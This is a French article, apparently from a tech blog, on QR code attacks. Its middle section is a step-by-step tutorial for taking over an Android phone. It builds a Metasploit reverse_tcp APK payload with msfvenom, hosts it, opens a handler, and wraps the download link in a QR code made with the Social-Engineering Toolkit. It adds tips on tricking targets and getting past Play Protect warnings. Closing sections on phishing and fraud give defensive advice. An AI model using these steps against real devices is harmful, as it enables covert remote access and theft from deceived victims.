Les codes QR sont partout, de l’emballage des produits aux cartes d’embarquement des compagnies aériennes, faisant des scanners qui les lisent une cible juteuse pour les pirates.
Grâce aux failles de bon nombre de ces dispositifs, il est possible d’exploiter les vulnérabilités des codes QR.
Que veut dire « QR » ? Quick Response.
Un outil appelé QRGen peut créer des codes QR malveillants. Ces attaques sont puissantes parce que les humains ne peuvent pas lire ni comprendre l’information contenue dans un code QR sans l’analyser. Dit plus simplement : n’importe quel QR code peut contenir un exploit puisque l’oeil humain ne parvient pas à lire le code qui se trouve derrière.
Même les scanners de code QR comme les smartphones peuvent être vulnérables à ce genre d’attaque. D’ailleurs, des QR codes ont déjà attiré les utilisateurs d’iPhones vers des sites malveillants.
Que sont les codes QR ?
Les codes QR sont des données formatées pour être lisibles par une machine, utilisés pour tout ce qui doit être numérisé automatiquement.
Avant les codes QR, il existait plusieurs autres formats appelés « codes barres linéaires », qui stockaient également les données d’une manière facile à lire pour les machines. Vous avez probablement déjà vu un code-barres sur un emballage de biscuits secs par exemple. Les caissières s’en servent pour lire le prix du produit et accélérer le paiement.
Les codes barres
Le code barres, ou code produit universel, est utilisé depuis 1974. Son but est principalement le commerce de détail : Il ne code qu’une série de chiffres, ce qui en limite l’utilité.
Bien qu’il existe de nombreux types de codes barres linéaires, ils ne sont pas en mesure de stocker beaucoup d’informations. Des utilisations plus compliquées comme l’expédition et la fabrication automobile exigeaient une norme contenant plus de données.
Les codes barres 2D
La réponse à la limitation des codes barres linéaires a été les codes barres 2D, qui offraient une plus grosse capacité de stockage. Certains des premiers codes 2D ressemblaient à celui ci-dessous : ils sont encore largement utilisés aujourd’hui.
Que peuvent faire les QR codes avec plus de données ?
Les QR codes peuvent contenir une tonne de données et peuvent même fonctionner lorsqu’ils ont une faible résolution ou s’ils sont endommagés. Un seul code QR peut contenir 4296 caractères ASCII, ce qui permet d’être très créatif. Avec ça, vous pouvez même formater les données du scanner qui le lit !
La grande capacité des QR codes leur permet aujourd’hui de gérer les connexions Wi-Fi sans partager le mot de passe en clair. Cette capacité rend les codes QR à la fois puissants et dangereux parce que les humains ne peuvent pas comprendre les données qu’ils contiennent sans les scanner.
En encodant la chaîne suivante, vous pouvez créer un QR code qui enregistre automatiquement les utilisateurs Android dans un réseau Wi-Fi différent du leur :
WIFI:S:<SSID>;T:<WPA|WEP|>;P:<mot-de-passe>;H:<true|false|>;
Quiconque scanne le code QR sur un appareil Android se trouve automatiquement connecté au réseau Wi-Fi encodé !
Comment les hackers s’y prennent pour pirater un Android à l’aide d’un QR Code ?
L’acteur de la menace utilise généralement Kali Linux comme système d’exploitation (OS) et exploite les capacités de Metasploit et du Social Engineering Toolkit (SET).
Étape 1
La première étape consiste à utiliser msfvenom pour préparer la charge utile, c’est-à-dire le code qui permettra à l’acteur de la menace d’obtenir l’accès à l’appareil de la cible.
Ouvrez le terminal et tapez ce qui suit « msfvenom -p android/meterpreter/reverse_tcp lhost=votreadresse lport=4444 r >/var/www/html/test.apk ».
Lhost (hôte local) indique l’adresse IP que la charge utile utilisera pour se connecter à la machine de l’acteur de la menace. Si, par exemple, la machine et le smartphone sont connectés au même Wi-Fi, l’IP peut être trouvée en tapant dans le terminal « ifconfig » et en vérifiant le « inet » (adresse internet) de la carte Wi-Fi. Si le smartphone utilise des données mobiles ou est connecté à un autre routeur, l’acteur de la menace doit utiliser l’IP publique de sa machine. Celle-ci peut être trouvée en visitant le site whatismyipaddress.com.
Étape 2
Dans le terminal, tapez « service apache2 start » et appuyez sur [Enter]. Il est maintenant temps de lancer Metasploit. Pour exécuter correctement cet outil, il convient de suivre quelques étapes. Tout d’abord, tapez « service postgresql start » et appuyez sur [Entrée]. Ensuite, exécutez la commande « msfdb init ». Enfin, exécutez « msfconsole » pour lancer l’outil.
Étape 3
Tapez « use exploit/multi/handler » et appuyez sur [Enter]. Ensuite, tapez « set payload android/meterpreter/reverse_tcp » et appuyez sur [Enter]. Tapez maintenant « show options » pour voir les informations nécessaires à l’exécution de l’attaque.
LHOST doit être fourni. LHOST, comme indiqué, est l’adresse IP utilisée par l’acteur de la menace. Pour fournir ces informations, tapez « set lhost » suivi de votre adresse IP. Le format est le suivant : « set [space] lhost [space] youripaddress ». Pour terminer, tapez « exploit » et appuyez sur [Entrée]. N’oubliez pas de ne pas fermer le terminal.
Étape 4
Ouvrez un autre terminal, tapez « setoolkit » et appuyez sur [Entrée].
Tapez « 1 » (pour sélectionner « Social-Engineering Attacks ») et appuyez sur [Enter].
Tapez ensuite « 8 » (pour sélectionner « QRCode Generator Attack Vector ») et appuyez sur [Enter]. Lorsque cela vous est demandé, tapez l’adresse IP que vous avez utilisée précédemment, suivie de « / » et de la charge utile, dans ce cas « test.apk ». Le format est le suivant : « youripaddress/nameofthepayload.apk ».
Étape 5
Quittez SEToolkit et tapez « cd /root/.set/reports » pour trouver le dossier dans lequel le code QR a été enregistré. À ce stade, l’acteur de la menace doit utiliser l’ingénierie sociale pour convaincre la cible de scanner le code.
Étape 6
La cible scanne le code QR. Elle reçoit une demande de téléchargement de l’application.
Elle est convaincue qu’elle télécharge une application dont elle a besoin. Elle suit donc les étapes et installe l’application avec succès.
Étape 7
Dès que l’application est installée sur l’appareil de la cible, l’auteur de la menace remarque qu’une session meterpreter est ouverte. En tapant « sysinfo », il peut vérifier si l’opération a réussi. Après avoir confirmé les résultats positifs, il tape « help » pour visualiser les nombreuses commandes qui peuvent être exécutées.
Obstacles connus
Il existe quelques obstacles qu’il convient d’aborder. L’ingénierie sociale est à mi-chemin entre la compétence et l’art. Ce n’est pas facile, mais selon la situation, n’importe qui peut être piégé. La fatigue, la précipitation, l’ennui, la colère, il y a plusieurs émotions et états d’esprit qui peuvent être exploités. Mais il existe aussi des défis techniques qui pourraient compromettre l’issue de l’attaque.
- Tout d’abord, tous les scanners QR ne recherchent pas directement le lien. J’ai utilisé 4 scanners, et deux d’entre eux ont recherché le lien sur Google au lieu de le rechercher directement.
- Deuxièmement, les mécanismes de sécurité peuvent entraver le processus. Si la cible n’autorise pas l’installation d’applications provenant de sources inconnues, le fichier ne sera pas téléchargé. En plus, pendant l’installation, Play Protect m’a averti deux fois concernant mes actions. Il arrive que les utilisateurs continuent de cliquer sans lire pour faire disparaître les notifications, mais un utilisateur plus rationnel pourrait réfléchir à nouveau avant de télécharger le fichier.
- De même, avant d’installer l’application, une liste de permissions s’affiche, et l’utilisateur pourrait se demander pourquoi l’application a besoin d’accéder à pratiquement tout.
- Enfin, le nom. Comme vous pouvez le voir dans les captures d’écran, « MainActivity » est très susceptible d’alerter la plupart des utilisateurs. En plus, l’application est visiblement différente d’une application « classique ».
Solution pour créer un code QR simple
Ce dont vous aurez besoin :
- Un lecteur de code QR
- Une connexion internet
1/ Pour lire les codes QR, vous devez installer une application de numérisation sur votre smartphone, par exemple l’excellent Barcode Scanner.
2/Ensuite, vous pouvez taper votre script sur le site GOQR qui générera le QR code pour vous. Cet excellent générateur de QR se montre très flexible et vous permet de créer des messages texte lors de la numérisation. Pensez aussi à son alternative : QR Stuff.
Comment éviter d’être la proie d’une escroquerie par QR Code ?
- Avant de numériser un code QR, examinez attentivement le code pour déceler tout signe d’altération, comme un autocollant apposé sur un premier code.
- Recherchez les images et les logos pixellisés, ainsi que les fautes d’orthographe pour identifier les faux codes.
- Utilisez un scanner de code QR sécurisé qui peut signaler les sites Web malveillants et afficher l’URL réelle avant de scanner le code (comme le QR Scanner de la marque Kaspersky).
- Ne pas entrer d’information personnelle après avoir scanné un code QR
- Méfiez-vous de la lecture d’un code dans les lieux publics, dans les arrêts de transport en commun ou dans les centres-villes.
Nous vous conseillons de lire aussi nos 2 articles suivants :
- Les applis utiles pour pirater un réseau Wi-fi à l’aide de votre téléphone
- Guide pour pirater un portable grâce au bluetooth
Quelques scénarios que les cybercriminels utilisent souvent avec les codes QR
Attaques de phishing
Étant donné que les codes QR sont plus susceptibles de violer la protection standard des emails, ils peuvent également être utilisés dans les emails dans le cadre d’une attaque d’ingénierie sociale plus large. Lorsque les utilisateurs scannent ces codes, ils sont dirigés vers un processus au cours duquel ils doivent finalement saisir leurs identifiants ou d’autres informations.
Les cybercriminels ont utilisé une astuce simple pour remplacer les codes QR originaux placés par une entreprise à un point de contact spécifique par des codes faux ou contrefaits. Lorsque les utilisateurs scannent le faux code QR, ils sont redirigés vers un site de phishing ou voient apparaître un pop-up i-frame qui permet d’installer un logiciel malveillant.
La numérisation d’un code QR malveillant reflète le risque de cliquer sur un lien malveillant dans le cadre d’une attaque traditionnelle d’ingénierie sociale. Les cybercriminels emploient des tactiques d’ingénierie sociale, combinant des codes QR avec un texte séduisant comme « Scannez pour gagner un iPhone 14 Pro Max » , pour tromper les individus et les inciter à scanner et à compromettre leurs appareils.
Exploitant la curiosité, ces codes peuvent être placés stratégiquement dans des zones très fréquentées d’une organisation, souvent avec un texte d’accompagnement minimal. La mise en œuvre d’une réponse de détection gérée efficace est cruciale pour identifier et neutraliser rapidement de telles menaces, garantissant ainsi une cybersécurité solide face à l’évolution des vecteurs d’attaque.
Attaques par détournement de clics
Le clickjacking est une autre méthode utilisée par les cybercriminels pour rediriger les utilisateurs qui scannent un code QR vers un site web d’apparence crédible avec un contenu exploitable, tel que des boutons qui encouragent les visiteurs à cliquer. Dans la plupart des cas, ces attaques aboutissent à l’installation de logiciels malveillants sur votre appareil ou au vol d’autres formes d’informations privées.
Vol financier
Les cybercriminels peuvent utiliser les codes QR comme méthode de paiement, en plaçant un code QR comme moyen de paiement, mais en envoyant votre argent sur leur compte bancaire. Les cybercriminels poursuivent en escroquant un montant plus élevé dans le cadre d’un système de vol progressif.
Plus de 89 % des utilisateurs finaux ne sont pas en mesure de différencier un code QR d’un autre. La correction d’erreurs intégrée aux codes QR permet même aux codes QR malveillants de ressembler à l’original, et un faux code QR peut finir par rediriger l’utilisateur sans défense vers une page de phishing, une page contenant un code malveillant ou un téléchargement par drive by.
Conclusion
Nous devons comprendre les risques et les limites de ce mécanisme. Après avoir scanné un code QR, tout comme pour les emails de phishing, vérifiez que l’URL vers laquelle vous êtes redirigé ne contient pas de fautes de frappe ou de lettres mal placées avant de cliquer aveuglément sur OK.
Pour les codes QR physiques, le véritable défi consiste à repérer à l’œil nu les codes QR falsifiés.
Ralentissez et réfléchissez à deux fois lorsque vous utilisez des codes QR. Suivez votre intuition, tenez toujours compte de la source et ralentissez lorsque vous scannez un code QR. Si vous pensez qu’un code QR est suspect, ne l’utilisez pas.
- L’installation d’un antivirus mobile,
- d’un outil de nettoyage
- d’un outil de sécurité pour filtrer les liens en fonction de leur réputation,
- et enfin la mise en place d’alertes avec votre banque pour signaler les paiements non autorisés et/ou les activités suspectes
…peuvent contribuer à réduire les cas d’exploitation des codes QR.
A LIRE ⇒ MALWARES, comment les prévenir, les détecter et les éradiquer